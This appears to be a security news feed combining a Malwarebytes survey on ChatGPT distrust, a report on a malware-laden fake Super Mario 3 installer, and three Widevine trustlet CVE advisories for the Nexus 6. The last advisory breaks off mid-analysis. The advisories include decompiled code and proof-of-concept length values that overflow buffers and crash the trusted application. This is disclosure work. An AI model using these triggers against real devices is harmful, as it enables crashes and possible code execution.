Categories: News
ChatGPT may have already hit its public perception wall, according to a Malwarebytes survey that showed high levels of distrust and concern in the tool's trustworthiness and safety.



(Read more...)




The post 81% concerned about ChatGPT security and safety risks, Malwarebytes survey shows appeared first on Malwarebytes Labs.

Seven months after ChatGPT burst into our lives, it seems the lustre of the chatbot-that's-going-to-change-everything is starting to fade. A new survey by Malwarebytes exposes deep reservations about ChatGPT, with optimism in startlingly short supply. Of the respondents familiar with ChatGPT:

*   81% were concerned about possible security and safety risks.
*   63% don't trust the information it produces.
*   51% would like to see work on it paused so regulations can catch up.

The concerns expressed in the survey mirror the trajectory of the news about ChatGPT since its introduction in November 2022.

ChatGPT is a type of Artificial Intelligence (AI) developed by the organization OpenAI. Trained on vast amounts of text data, it can generate human-like responses to prompts or questions. And just in case you don't know what that means, you should know that the last sentence you read was written by ChatGPT as part of a response to a request to "Describe ChatGPT in a single paragraph." This is the whole text it generated:

> ChatGPT is a powerful language model developed by OpenAI, based on the GPT-3.5 architecture. Trained on vast amounts of text data, it can generate human-like responses to prompts or questions. With its deep learning capabilities, ChatGPT understands context and produces coherent and contextually relevant text. It can assist with various tasks such as answering questions, providing explanations, and offering suggestions. Although it's not a human and lacks real-time awareness, ChatGPT's ability to generate text across multiple languages makes it a versatile tool, albeit one that should be cross-verified with reliable sources for accuracy.

When people explored its capabilities in the days and weeks after its launch, it seemed almost miraculous—a wonder tool that could do everything from creating computer programs and replacing search engines, to writing students' essays and penning punk rock songs. Its release kick-started a race to disrupt everything with AI, and integrate ChatGPT-like interfaces into every conceivable tech product.

But those that know the hype cycle know that the Peak of Inflated Expectations is quickly followed by the Trough of Disillusionment. Predictably, ChatGPT's rapid ascent was met by an equally rapid backlash as its shortcomings became apparent.

Chief among them is ChatGPT's propensity to "hallucinate", the euphemism that data scientists give to untruths created by machine learning models. Perhaps the best example of just how consequential hallucinations can be is Mata v. Avianca, Inc, a court case in which a lawyer found himself in serious hot water after citing numerous non-existent legal cases hallucinated by ChatGPT when he used it as a research tool.

Against that backdrop, Malwarebytes decided to poll its vast pool of newsletter subscribers to see how they felt about ChatGPT, six months after its launch.

Despite all the hype and hooplah surrounding it, only 35% of our tech-savvy respondents agreed with the statement "I am familiar with ChatGPT," significantly less than the 50% that disagreed.

Those who claimed to be familiar with ChatGPT did not have a rosy outlook. This is what they told us.

**Not accurate or trustworthy**

The first issue for ChatGPT is that our respondents don't trust that it's accurate or trustworthy. Only 12% agreed with the statement "The information produced by ChatGPT is accurate," while 55% disagreed, a huge discrepancy.

Responses to "The information produced by ChatGPT is accurate" by respondents familiar with ChatGPT

The responses were similarly bleak for the statement "I trust the information produced by ChatGPT," with only 10% agreeing and a huge 63% disagreeing.

Responses to "I trust the information produced by ChatGPT" by respondents familiar with ChatGPT

**A risk to security and safety**

Not only was ChatGPT seen as untrustworthy, it was also perceived as a negative influence on safety and security, with few seeing it as a tool that will improve safety, and an overwhelming majority seeing it as a source of risk.

51% disagreed with the statement "ChatGPT and other AI tools will improve Internet safety," dwarfing the tiny percentage that see it as a positive for safety.

Responses to "ChatGPT and other AI tools will improve internet safety" by respondents familiar with ChatGPT

Worse still, an extraordinary 81% were concerned about the possible security and/or safety risks.

Responses to "I am concerned about the possible security and/or safety risks posed by ChatGPT" by respondents familiar with ChatGPT

They aren't alone. In March a raft of tech luminaries signed a letter that said "We call on all AI labs to immediately pause for at least 6 months the training of AI systems more powerful than GPT-4." The letter pulled no punches on the "profound risks" posed by "AI systems with human-competitive intelligence":

> _Should_ we let machines flood our information channels with propaganda and untruth? _Should_ we automate away all the jobs, including the fulfilling ones? _Should_ we develop nonhuman minds that might eventually outnumber, outsmart, obsolete and replace us? _Should_ we risk loss of control of our civilization?

The letter calls for the pause to be used to "jointly develop and implement a set of shared safety protocols for advanced AI design and development that are rigorously audited and overseen by independent outside experts."

We put the idea to our respondents and 52% of those familiar with ChatGPT agreed, while less than half that number disagreed.

Responses to "Work on ChatGPT and other AI tools should be paused until regulations can catch up" by respondents familiar with ChatGPT

**Conclusion**

Our survey showed that an overwhelming number of respondents familiar with ChatGPT were concerned about the risks it poses to security and safety. They also don't trust the information it produces, and would like to see a pause in development so that regulation can catch up. What remains to be seen is whether this is simply a singular moment of anxiety or a trend that will persist.

An AI revolution has been gathering pace for a very long time, and many specific, narrow applications have been enormously successful without stirring this kind of mistrust. For example, at Malwarebytes, Machine Learning and AI have been used for years to help improve efficiency, to identify malware, and improve the overall performance of many technologies.

ChatGPT is a different beast though. It is a generalized AI tool that could help or supplant humans across a broad range of knowledge work, from coding and composing songs to making malware and spreading misinformation.

The uncertainty around how ChatGPT will change our lives, and whether it will take our jobs, is compounded by the mysterious way in which it works. It is an unknown quantity to everyone, even its creators. Machine learning models like ChatGPT are "black boxes" with emergent properties that appear suddenly and unexpectedly as the amount of computing power used to create them increases.

Real world emergent properties have included the ability to perform arithmetic, take college-level exams, and identify the intended meaning of words. The ability to perform these tasks could not be predicted from smaller models, and today's models cannot be used to predict what the next generation of larger models will be capable of.

That leaves us facing a very uncertain future, both individually and collectively. The continuum of view points held by serious commentators ranges—quite literally—from those who think AI is an existential risk to those who think it will save the world. Given the stakes, the caution of our respondents is no surprise.

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

TRY NOW

81% concerned about ChatGPT security and safety risks, Malwarebytes survey shows

By Deeba Ahmed
Cyble Research and Intelligence Lab's cybersecurity researchers have disclosed how threat actors exploit gamers by delivering malware-loaded installers of popular games.
This is a post from HackRead.com Read the original post: Fake Super Mario 3 Installers Drop Crypto Miner, Data Stealer

**The malware has the potential to target large-scale victims since games like Super Mario 3 are famous among and adored by children around the world.**

Recently, Cyble researchers discovered a trojanized version of the Super Mario 3: Mario Forever installer. The malware hidden inside the installer can perform various malicious tasks, such as stealing sensitive data, deploying cryptocurrency miners, and launching ransomware.

**Beware of Fake Super Mario 3 Installer**

Researchers have noted that game installers have emerged as a lucrative way to maximize monetary gains. Threat actors prefer to exploit game installers for delivering malware due to their extensive user base, powerful hardware, and large file size, which allows them to easily hide malware. Gamers trust these installers, considering them legitimate software, but social engineering can allow attackers to exploit this trust and trick gamers into downloading malware.

In this case, the researchers wrote that the fake installer comes with three executable files. One of these files installs the game, while the other two files, titled java.exe and atom.exe, are installed in the AppData directory on the device. Both files are assigned different tasks.

*   Java.exe- it may look like a regular Java runtime, but in reality, it is a Monero cryptocurrency miner tasked with establishing a connection to a mining server (gulfmonerooceanstream).
*   Atom.exe- It is a self-duplicating SupremeBot mining client that creates a scheduled task for executing the copy every fifteen minutes. SupremeBot has to fetch another executable, “wime.exe,” after establishing a connection to a C2 server.

**How does it work?**

After the malicious installer file “super-mario-forever-v702e” is installed on the system, it launches an XMR miner and a SupremeBot mining program through two files. Once this is done, a connection to the C2 server is established to transmit data information, register the client, and obtain the required configuration to start cryptocurrency mining. This is followed by fetching the “wime.exe” executable, an open-source Umbral Stealer.

Malware-infected Super Mario game installer (left) – Malware files upon installation (right) – Screenshots credit: Cyble

The Umbral Stealer is capable of stealing sensitive user data from the targeted device, which includes stored cookies and passwords, session tokens, credentials from cryptocurrency wallets, and authentication tokens for other platforms or games. Additionally, it disables Windows Defender to evade detection if tamper protection is inactive. However, if tamper protection is active, it adds the process to the exclusion list.

**Potential Dangers**

The malicious Super Mario 3 installer is quite lethal as it is capable of cryptocurrency mining and data stealing. This can result in heavy financial losses for victims and drain computer resources, causing a decline in system performance.

“Malware distributed through game installers can be monetized through activities like stealing sensitive information, conducting ransomware attacks, and more,” Cyble’s report read.

1.  Alert: Android Super Mario Run is Actually Malware
2.  Minecraft declared the most malware-infected game
3.  Stop downloading fake malicious Fortnite Android apps
4.  ROBLOX, Nintendo game cracks drop ChromeLoader malware

Fake Super Mario 3 Installers Drop Crypto Miner, Data Stealer

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_save_keys file_name_len integer overflow and resultant buffer overflow.

CVE-2022-48332:

Buffer Overflow in Widevine Trustlet (drm\_save\_keys @ 0x6a18)

 

CVE:

CVE-2022-48332

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_save_keys() command. This command closely resembles drm_verify_keys(), which has been featured in other blog entries (refer to CVE-2022-48333 and CVE-2022-48334).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50001: // drm\_save\_keys() command
    if ((0x2a10 < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        ...
        drm\_save\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\], // file\_name
            req\_buf + 0x84, req\_buf\[3\], // msg
            resp\_buf + 4                // prt\_path (result)
        );
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50001, it jumps to the drm_save_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    uint32\_t msg\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
    char msg\_data\[0x100\];
};

It contains three buffers (_i.e._, feature_name, file_name and msg_data) and three integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len, file_name_len and msg_len, since they are directly taken from the Request Buffer.

The main functionality of drm_save_keys() is securely storing encryption keys or DRM-related data. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent key storage.
>     
> *   Construct a file path using the provided feature name and file name.
>     
> *   Write the message data, which may contain encryption keys or DRM-related information, to a Secure File System (SFS).
>     
> *   Compute and store a CRC value for the written data to ensure data integrity and error detection.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len;
// ---- CVE-2022-48331 ---- //
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);
    // ----------------------- //
    \*(heap\_buf + total\_len) \= '/';
    if (total\_len + feature\_name\_len < 0xff) {
        memcpy(heap\_buf + total\_len + 1, feature\_name, feature\_name\_len);
        total\_len += (feature\_name\_len + 1);        \*(heap\_buf + total\_len) \= '/';
        // ---- CVE-2022-48332 ---- //
        if (total\_len + file\_name\_len < 0xff) {            memcpy(heap\_buf + total\_len + 1, file\_name, file\_name\_len);            ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The first part corresponds to CVE-2022-48331, where the check if (total_len < 0x100) is performed using a signed integer and can cause a buffer overflow if feature_name_len takes any value from -14 (0xfffffff2) to -1 (0xffffffff).

To pass this first check without triggering the first bug, the value of feature_name_len must be within the inclusive range of 1 to 241. Then, the code appends the feature_name string two times to the temporary heap buffer. In the previous code snippet, there is a second check on feature_name_len that constraints its value to \[1, 120\]. Finally, there is a third if that checks the value of file_name_len. At this point, the result of the addition is treated as a signed integer, which leads to an incorrect check. Consequently, this third check is bypassed when the values for file_name_len are sufficiently large:

req.feature\_name\_len \= 120; // valid values are: \[1, 120\]
req.file\_name\_len \= \-(14 + (2 \* req.feature\_name\_len) + 1);

The code after the check calls the memcpy() function to copy the contents of the file_name string into the heap buffer, using the improperly checked file_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The user has full control over the **value** of file_name_len and the **contents** of the file_name buffer in the Request Buffer.

Since there are several specific and large file_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50001;  // drm\_save\_keys;
req\->feature\_name\_len \= 1;
req\->file\_name\_len \= 0xffffffff;
req\->msg\_len \= 1;
...

The Commmand ID 0x50001 is specified to invoke drm_save_keys(), and file_name_len is set to 0xffffffff so that the sum of total_len + file_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_save\_keys: feature\_name 0xfff00010, feature\_name\_len 1, file\_name 0xfff00110,  file\_name\_len 4294967295, msg\_data 0xfff00210
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48332: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_verify_keys prefix_len+feature_name_len integer overflow and resultant buffer overflow.

CVE-2022-48333:

Buffer Overflow in Widevine Trustlet (drm\_verify\_keys @ 0x730c)

 

CVE:

CVE-2022-48333

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M) and 5.1.1 (LYZ28N).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s drm_verify_keys() command. This command closely resembles drm_save_keys(), which has been featured in other blog entries (refer to CVE-2022-48331 and CVE-2022-48332).

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50002: // drm\_verify\_keys() command
    if ((0x2a0f < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        drm\_verify\_keys(
            req\_buf + 4,    req\_buf\[1\], // feature\_name
            req\_buf + 0x44, req\_buf\[2\]  // file\_name
        );
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50002, it jumps to the drm_verify_keys() function.

The structure of the Request Buffer for this command is the following:

struct widevine\_drm\_save\_keys\_cmd {
    uint32\_t cmd\_id;
    uint32\_t feature\_name\_len;
    uint32\_t file\_name\_len;
    char feature\_name\[0x100\];
    char file\_name\[0x100\];
};

It contains two buffers (_i.e._, feature_name and file_name) and two integers indicating the effective length of each buffer. It is important to note that even though the maximum size of each buffer is 256 bytes, the client has control over the values of feature_name_len and file_name_len, since they are directly taken from the Request Buffer.

The main functionality of drm_verify_keys() is to verify the integrity of encryption keys or DRM-related data stored within the Widevine DRM system. It performs the following high-level tasks:

> *   Validate input parameters and check for any constraints that may prevent the verification process.
>     
> *   Construct a full file path using the provided feature name and file name.
>     
> *   Set the CRC (cyclic redundancy check) file path, which is used for verifying the integrity of the keys.
>     
> *   Verify the stored encryption keys or DRM-related data and check for any tampering or corruption.
>     

The bug is present in the validation of input parameters while constructing the SFS file path:

heap\_buf \= malloc(0x100);
...
memzero(heap\_buf, 0x80);
prefix\_len \= strncpy(heap\_buf, &persist\_prefix, 0x80);
total\_len \= prefix\_len + feature\_name\_len; // Signed int
if (total\_len < 0x100) {
    prefix\_len \= strlen(&persist\_prefix);
    memcpy(heap\_buf + prefix\_len, feature\_name, feature\_name\_len);    ...
}

In this code snippet, a heap buffer is allocated and the persist_prefix string is copied into it using the strncpy() function. This string is initialized with the value "/persist/data/" by default, so that it’s length is 14. The buffer is then filled with the provided feature name, ensuring the total length does not exceed the specified limit. This is done using total_len by adding the length of the persist_prefix string and feature_name_len, which is directly specified by the client through the Request Buffer.

The bug is present in this calculation. Since total_len is a signed integer, this calculation causes an integer overflow if the sum of prefix_len and feature_name_len is large enough, resulting in a negative value for total_len. As a result, the subsequent if statement passes even if the actual total length of the string is greater than the allocated buffer size.

Since the check is if (total_len < 0x100), for the condition 14 + feature_name_len < 0x100 to be triggered, the value of feature_name_len must be within the inclusive range of -14 to 241.

The code after the check calculates again the prefix_len and calls the memcpy() function to copy the contents of the feature_name string into the buffer, immediately following the persist_prefix, using feature_name_len. Since this value can be large enough, it can cause a buffer overflow in this copy operation:

The range of values for feature_name_len that can cause a buffer overflow extends from -14 (0xfffffff2) to -1 (0xffffffff).

The user has full control over the **value** of feature_name_len and the **contents** of the feature_name buffer in the Request Buffer.

Since there are 14 specific and large feature_name_len values that can cause the buffer to overflow, a memory copy operation with any of these values will exceed the bounds of the data segment, resulting in an invalid memory access and potentially causing the application to crash.

**5\. Exploitation**

This section shows a Proof of Concept (PoC) of how to trigger the vulnerability by sending a command to the Widevine trusted application running in the Secure World. Based on the command structure we have derived by reverse engineering, we can craft the command request to be sent to the trusted application:

req\->cmd\_id \= 0x50002;  // drm\_verify\_keys
req\->feature\_name\_len \= 0xffffffff;
req\->file\_name\_len \= 1;
...

The Commmand ID 0x50002 is specified to invoke drm_verify_keys(), and feature_name_len is set to 0xffffffff so that the sum of prefix_len + feature_name_len overflows producing a small value, bypassing the check and eventually calling memcpy() producing the buffer overflow. When this request is sent to Widevine, it ends up crashing.

<5>widevine: "drm\_verify\_keys: feature\_name 0xfff00010, feature\_name\_len 4294967295, file\_name 0xfff00110,  file\_name\_len 1"
\*\*\* crash \*\*\*

The Android log in normal world reports that qseecom_send_cmd has failed with error -22, which means APP\_FAULTED:

<4>QSEECOM: qseecom\_load\_app: App (widevine) does'nt exist, loading apps for first time
<4>QSEECOM: qseecom\_load\_app: App with id 3 (widevine) now loaded
<3>QSEECOM: \_\_qseecom\_send\_cmd: Response result -1 not supported
<3>QSEECOM: qseecom\_ioctl: failed qseecom\_send\_cmd: -22
<4>QSEECOM: qseecom\_unload\_app: App id 3 now unloaded

The reason it crashes is because the large memory copy ends up writing to unmapped memory due to exceeding the data segment.

CVE-2022-48333: Cyber Intelligence - Hardware and Software Security Assessments

Widevine Trusted Application (TA) 5.0.0 through 7.1.1 has a PRDiagParseAndStoreData integer overflow and resultant buffer overflow.

CVE-2022-48336:

Buffer Overflow in Widevine Trustlet (PRDiagParseAndStoreData @ 0x5cc8)

 

CVE:

CVE-2022-48336

Vendor:

Google

Device:

Nexus 6

Affected Component:

Widevine

Publication Date:

March 2023

Credits:

CyberIntel Team

Last edited: 11/04/23

**1\. Description**

This entry describes a vulnerability that we found in the Widevine Trusted Application (TA), which runs within Qualcomm’s Secure Execution Environment (QSEE). The vulnerability is an integer overflow that leads to a subsequent buffer overflow. This bug has been found using tools we have developed to assist in the security evaluation of TrustZone, including a debugger and a coverage-based fuzzer for QSEE TAs. Please, refer to this page for further information.

Qualcomm Secure Execution Environment is one of the most widespread commercial TEE solutions in the smartphone space, used by many different devices such as Xiaomi, Motorola and several devices of the Google Nexus and Pixel series.

Widevine is a Digital Rights Management (DRM) technology developed by Google to protect copyrighted content and to enable secure distribution and consumption of video and audio content. The technology involves encryption, licensing, and key management to ensure that content can only be decrypted and played back on authorized devices.

An attacker could potentially exploit the vulnerability in the Trusted Application by sending a command from the Normal World, causing the application to crash and possibly execute arbitrary code. This vulnerability could have potential consequences, such as elevating attacker’s privileges and exposing sensitive information.

This post is part of a series of related bugs affecting Widevine Trusted Application of Google Nexus 6:

> *   CVE-2022-48331
>     
> *   CVE-2022-48332
>     
> *   CVE-2022-48333
>     
> *   CVE-2022-48334
>     
> *   CVE-2022-48335
>     
> *   CVE-2022-48336
>     
> *   CVE-2015-6639
>     
> *   CVE-2015-6647
>     

**2\. Affected Versions**

Affected versions are: 5.0.0 (LRX21O), 5.0.1 (LRX22C), 5.1.0 (LMY47D), 5.1.0 (LMY47E), 5.1.0 (LMY47I), 5.1.0 (LMY47M), 5.1.1 (LMY47Z), 5.1.1 (LMY48I), 5.1.1 (LMY48M), 5.1.1 (LMY48T), 5.1.1 (LMY48W), 5.1.1 (LMY48X), 5.1.1 (LMY48Y), 5.1.1 (LVY48C), 5.1.1 (LVY48E), 5.1.1 (LVY48F), 5.1.1 (LVY48H), 5.1.1 (LVY48I), 5.1.1 (LYZ28E), 5.1.1 (LYZ28J), 5.1.1 (LYZ28K), 5.1.1 (LYZ28M), 5.1.1 (LYZ28N), 6.0.0 (MRA58K), 6.0.0 (MRA58N), 6.0.0 (MRA58R), 6.0.0 (MRA58X), 7.0.0 (NBD90Z), 7.0.0 (NBD91P), 7.0.0 (NBD91U), 7.0.0 (NBD91X), 7.0.0 (NBD91Y), 7.0.0 (NBD91Z), 7.0.0 (NBD92F), 7.0.0 (NBD92G), 7.1.1 (N6F26Q), 7.1.1 (N6F26R), 7.1.1 (N6F26U), 7.1.1 (N6F27C), 7.1.1 (N6F27E).

**3\. Impact**

This vulnerability has the potential to compromise the security of the system in multiple ways.

An attacker with high priviledges in Normal World can exploit the vulnerability to compromise the Trusted Application running in the Secure World, eventually executing arbitrary code and reading and/or modifying information of critical files, compromising the confidentiality and integrity of the system.

On the other hand, the attacker is able to crash the Trusted Application, potentially resulting in a denial of service.

**4\. Vulnerability**

The bug is present in Widevine’s PRDiagProvisionDataHandler() command.

The following snippet shows a switch-case present in the TA’s command handler:

switch(\*req\_buf) {
case 0x50004: // PRDiagProvisionDataHandler
    if ((0x2807 < req\_buf\_size) && (0x107 < resp\_buf\_size)) {
        ret \= PRDiagProvisionDataHandler(req\_buf + 2, req\_buf\[1\]);
        ...
    }
    break;
}

It takes the Command ID from the first word of the Request Buffer, which is sent by client applications in the Normal World. Thus, if the received command is 0x50004, it jumps to the PRDiagProvisionDataHandler() function.

The structure of the Request Buffer for the PRDiagProvisionDataHandler() function is similar to the one used in PRDiagMaintenanceHandler (refer to CVE-2022-48335):

struct widevine\_PRDiagProvisionDataHandler\_cmd {
        uint32\_t cmd\_id;
        uint32\_t payload\_size;
        struct widevine\_PRDiagProvisionDataHandler\_payload payload;
};

It contains an embedded structure and an integer indicating its size. The embedded structure is defined in the following code-block:

// Internal payload/request buffer for PRDiagProvisionDataHandler command
struct PRDiagProvisionDataHandler\_payload {
        enum {
                op\_PRDiagParseAndStoreData      \= 0,
                PRDiagPDH\_FORCE\_ENUM\_32\_BITS \= (INT\_MAX | ~INT\_MAX),
        } op;
        uint32\_t compare\_flag;
        uint32\_t msg\_buf\_size;
        uint32\_t data\_len;
        // NOTE: The widevine trustlet checks the size of the request buffer
        // containing the widevine\_PRDiagMaintenanceHandler\_cmd structure.
        // The entire request buffer must have at least 0x2808 bytes
        char msg\_buf\[\];
};

The PRDiagProvisionDataHandler function firstly determines if keys can be provisioned and then simply copies the payload/request into a temporary heap buffer and passes it to the PRDiagParseAndStoreData() function:

int PRDiagProvisionDataHandler(void \*payload, uint32\_t payload\_size) {
     struct widevine\_PRDiagProvisionDataHandler\_payload \*req;

     ...
     // Check if keys can be provisioned
     ...

     if (!payload || !payload\_size) return 0x10;

     req \= malloc(payload\_size);
     if (!req) return 0xf;

     memcpy(req, payload, payload\_size);
     if (req\->op \== 0) {
         PRDiagParseAndStoreData(req);
     }
     ...

The bug is inside the PRDiagParseAndStoreData function. The main functionality of this function is to store provisioning data into the Secure File System (SFS). The following code snippet shows a simplified version of the PRDiagParseAndStoreData function:

int PRDiagParseAndStoreData(struct PRDiagProvisionDataHandler\_payload \*req) {
    // Check input and operation
    if (!req || req\->op != 0) return 0x10;

    msg\_buf\_size \= req\->msg\_buf\_size;
    msg\_buf \= &req\->msg\_buf;

    if (!req\->data\_len) {
        // CVE-2015-6639
        ...
    }
    else {
        // data\_len is not zero
        // filePathBuffer @ 0x2e0fc
        // fullFilePathBuffer @ 0x2e5fc
        memzero(&fullFilePathBuffer, 0x80);
        pcVar2 \= strncpy(&fullFilePathBuffer, &persist\_prefix, 0x80);
        sVar3 \= strlen(&filePathBuffer);
        sVar4 \= strlen(&persist\_prefix);
        memcpy(&fullFilePathBuffer + sVar4, &filePathBuffer, sVar3);
        sVar3 \= strlen(&filePathBuffer);
        pcVar2\[&fullFilePathBuffer + sVar3\] \= '/';
        sVar4 \= strlen(&filePathBuffer);
        memcpy(&filePathBuffer + 1 + pcVar2 + sVar3, &filePathBuffer, sVar4);
        iVar5 \= PRDiagPruneTrailingSlashes(&fullFilePathBuffer);
        if (msg\_buf\_size + iVar5 < 0x80) {            if (iVar5 \>= 1) {
                (&fullFilePathBuffer)\[iVar5\] \= '/';
                memcpy(&fullFilePathBuffer + 1 + iVar5, msg\_buf, msg\_buf\_size);                ...

The function first performs some validations on the input and the operation being requested and then checks the data_len value. If this value is not zero, it constructs a file path by concatenating two strings: persist_prefix and filePathBuffer, which are global buffers stored in the data segment. The resulting SFS file path is stored in the fullFilePathBuffer variable, which is used later in the function to write the provisioning data.

The persist_prefix string is initialized with the value "/persist/data/" by default, and the filePathBuffer is initially empty, so that the total length of the final string afer calling PRDiagPruneTrailingSlashes() is 13. After that, the contents of the user-controlled msg_buf are appended to fullFilePathBuffer after checking if the length does not exeed 128 bytes.

